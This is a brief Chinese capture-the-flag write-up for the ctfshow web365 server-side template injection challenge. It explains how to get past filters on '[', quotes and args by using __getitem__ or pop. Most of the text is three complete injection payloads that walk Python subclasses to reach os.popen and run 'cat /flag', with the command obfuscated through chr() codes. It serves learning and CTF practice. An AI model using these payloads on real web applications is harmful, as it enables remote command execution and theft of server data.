ctfshow-web365(SSTI)

这次是把args [ 和' 过滤了

有两种方式可以绕过[

可以用__getitem__和pop代替，因为pop会破坏数组的结构，所以更推荐用__getitem__

?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2b](chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

 这里把上一道题有[]的都换成__getitem__()就可以（第一个的[]直接换成()）

?name={%set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

 用pop也可以，但是第二个还是要用__getitem__(0)，用pop(0)会报错

?name={%set chr=().__class__.__bases__.__getitem__(0).__subclasses__().pop(80).__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__.pop(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}